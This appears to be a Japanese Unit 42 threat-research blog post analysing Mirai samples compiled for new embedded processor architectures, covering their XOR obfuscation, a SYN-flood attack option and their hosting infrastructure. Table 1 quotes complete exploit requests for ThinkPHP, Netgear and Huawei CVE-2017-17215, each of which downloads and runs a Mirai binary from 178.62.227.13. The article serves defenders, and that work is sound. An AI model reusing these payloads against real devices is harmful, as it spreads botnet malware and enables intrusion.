マルウェア

Mirai、新たなプロセッサを攻撃サーフェスに

2 min read

概要

2019年2月下旬、Unit 42はこれまで見たことのない新しいプロセッサ/アーキテクチャ用にコンパイルされたMiraiのサンプルを発見しました。ソースコードは2016年10月に公開されているものの、このマルウェアはこれまでは、固定されたプロセッサ/アーキテクチャのセットをターゲットにしていました。

Unit 42は、新たに発見されたサンプルがAltera Nios II、OpenRISC、Tensilica Xtensa、Xilinx MicroBlazeプロセッサ用にコンパイルされていることを発見しました。なお、Miraiが新しいプロセッサアーキテクチャ、サンプルターゲット向けに拡張されたのは今回が初めてではありません。過去にもARC CPU用のものが2018年1月に発見されています。とはいえ、今回見つかったような新たなプロセッサへの展開は、Miraiの開発者が積極的に革新を追い求め、増え続けるIoTデバイスをターゲットにしていることを示しています。このマルウェアは、2016年のDynおよびセキュリティブロガーのBrian Krebsのウェブサイトに対する大規模なサービス拒否攻撃に使用されたことで悪名高いものです。こうした最新の技術革新によって感染デバイス数が増加すれば、Miraiの攻撃者はサービス拒否攻撃力をさらに高めることになります。

本稿では、これら新しいサンプルで見つかった新機能を紹介し、観測したインフラストラクチャについて説明し、既知のエクスプロイトを使用しているほかのMiraiサンプルが新しいサンプルと同じインフラストラクチャでホストされた様子を示します。また、これらの新しいサンプル用のIOC(侵害の痕跡)についても提供します。

Miraiそのほかの脅威からの保護にあたり、組織は最新のアップデートを適用し、デフォルト以外のパスワードでIoTデバイスを保護することを優先する必要があります。

見つかった新しいサンプルの新機能

今回観測したMiraiのサンプルは、前述の新しいアーキテクチャ用にコンパイルされていることに加え、以下の新しい機能が含まれていることがわかりました。

暗号化アルゴリズム: これらのサンプルでは、オリジナルのMiraiソースコードに利用されていた標準のバイト単位のXORを修正して使用しています(toggle_obf関数内で実装されている)。

11個の8バイト長の鍵を使用していて、これらすべての鍵を累積してバイト単位でXOR演算した結果を最終的な結果の鍵として取得します。これについては次のコードスニペットを見たほうが分かりやすいでしょう。

tablekeys = [0xdeadbeef, 0x85DAB8BF, 0xDEEDEEBF, 0xDEABBEAF, 0xDBBD45BF, 0x246584EF, 0x85BFE8BF, 0xD68395BF, 0xDBAAAAAF, 0x0DAABEEF]

xor_key = 0

for key in tablekeys:

xor_key ^= key&0xff ^ (key>>8 & 0xff) ^ (key>>16 & 0xfF) ^ (key>>24 & 0xff)

tablekeys = [0xdeadbeef, 0x85DAB8BF, 0xDEEDEEBF, 0xDEABBEAF, 0xDBBD45BF, 0x246584EF, 0x85BFE8BF, 0xD68395BF, 0xDBAAAAAF, 0x0DAABEEF]

xor_key = 0

for key in tablekeys:

xor_key ^= key&0xff ^ (key>>8 & 0xff) ^ (key>>16 & 0xfF) ^ (key>>24 & 0xff)

実際には、これは0x5Aとバイト単位でXOR演算するのと同じ結果になります。

attack_method_ovh: サンプルには、以下のパラメータを持つDDoS攻撃オプションが含まれています。

ATK_OPT_IP_TOS = 0

ATK_OPT_IP_IDENT = 0xFFFF

ATK_OPT_IP_TTL = 64

ATK_OPT_IP_DF = 1

ATK_OPT_SPORT = 0xFFFF

ATK_OPT_DPORT = 0xFFFF

ATK_OPT_SEQRND = 0xFFFF

ATK_OPT_ACKRND = 0

ATK_OPT_URG = 0

ATK_OPT_ACK = 0

ATK_OPT_PSH = 0

ATK_OPT_RST = 0

ATK_OPT_SYN = 1

ATK_OPT_FIN = 0

ATK_OPT_SOURCE = LOCAL_ADDR

ATK_OPT_IP_TOS = 0

ATK_OPT_IP_IDENT = 0xFFFF

ATK_OPT_IP_TTL = 64

ATK_OPT_IP_DF = 1

ATK_OPT_SPORT = 0xFFFF

ATK_OPT_DPORT = 0xFFFF

ATK_OPT_SEQRND = 0xFFFF

ATK_OPT_ACKRND = 0

ATK_OPT_URG = 0

ATK_OPT_ACK = 0

ATK_OPT_PSH = 0

ATK_OPT_RST = 0

ATK_OPT_SYN = 1

ATK_OPT_FIN = 0

ATK_OPT_SOURCE = LOCAL_ADDR

これらは、元のMiraiのソースコードに含まれていた攻撃方法「TCP SYN」とまったく同じパラメータです(attack_method_tcpsyn)。同じパラメータを持つ新しい攻撃方法を組み込んだ理由は不明です。

弊社AutoFocusを利用してこの攻撃方法を軸に探索範囲を広げると、2018年11月以降にインターネット上で観測されていた既知のアーキテクチャ用のサンプルのなかにも、これらの攻撃オプションを採用しているものがあることがわかりました。

インフラストラクチャ

これら最新のサンプルは一時期、ある単一の IP アドレス上にホスティングされており、そのディレクトリへのアクセスは制限されていませんでした。その後2019年2月22日に当該サーバーはファイル一覧にアクセス制限をかけましたが、ファイルのホスティング自体は継続していました。

2月22日の設定更新以前には、当該IP上に、Miraiの以前のバージョンで使用されていたことが判明している以下のエクスプロイトを含むサンプルがホスティングされていました。これらMiraiの以前のバージョンと、今回新しく発見されたサンプルの両方に、これらのエクスプロイトが存在していることから、これら2つには関連があること、同一の攻撃者によって使用されている可能性が高いことが示唆されます。利用されていたエクスプロイトを以下の表1に示します。

脆弱性	エクスプロイトの形式
ThinkPHPによるリモートコード実行	GET /to/thinkphp5.1.29/?s=index/ hinkContainer/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]= 'wget http://178.62.227[.]13/wrgjwrgjwrg246356356356/hx86 -O /tmp/Hito; chmod 777 /tmp/Hito; /tmp/Hito wget.exploit.selfrep.thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hito/2.0
D-Link DSL2750B OSコマンドインジェクション
Netgearのリモートコード実行	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/;/bin/busybox+wget+-g+178.62.227[.]13+-l+/tmp/binary+-r+/wrgjwrgjwrg246356356356/hmips;+/bin/busybox+chmod 777++/tmp/binary;/tmp/binary+wget.selfrep.exploit.netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
CVE-2014-8361
CVE-2017-17215	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30″, uri="/ctrlt/DeviceUpgrade_1″, response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5″, qop="auth", nc=00000001, cnonce="248d1a2560100669″ <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1″><NewStatusURL>$(/bin/busybox wget -g 178.62.227.13 -l /tmp/binary -r /wrgjwrgjwrg246356356356/hmips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary wget.selfrep.exploit.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

表12月22日以前に178.62.227[.]13でホストされていたMirai亜種に含まれていたエクスプロイト

結論

Miraiのソースコードはオープンソースなので、より幅広い種類のプロセッサ用に同一ソースコードをコンパイルするというたったそれだけのことで、攻撃者はより大きな攻撃面という優位性を得ることができます。実質的にこれはMiraiマルウェアファミリが現在よりより多くの組み込みデバイスを介して感染・拡散できることを意味しており、攻撃者はさらに大きなDDoS攻撃力を手に入れられることになります。

パロアルトネットワークスのお客様は、次の方法でこの脅威から保護されています。

WildFireは本稿に記載したすべてのサンプルを検出し「Malicious(悪意のある)」ものと判定します｡
これらのキャンペーンに関連したすべてのエクスプロイト、IP、URLは、Threat PreventionとPAN DBによってブロックされます。

AutoFocusをお使いのお客様は、次のタグを使用してこのエクスプロイトを追跡できます｡

本マルウェアファミリは、次のAutoFocusタグで追跡できます: ELFMirai

パロアルトネットワークスは本稿で見つかったファイルサンプルや侵害の兆候などをふくむ調査結果をCyber Threat Alliance(CTA サイバー脅威アライアンス)のメンバーと共有しました。CTA のメンバーはこのインテリジェンスを使用して、お客様に保護を迅速に提供し、悪意のあるサイバー攻撃者を体系的に阻害することができます。Cyber Threat Allianceの詳細については、次のWebサイトをご覧ください: www.cyberthreatalliance.org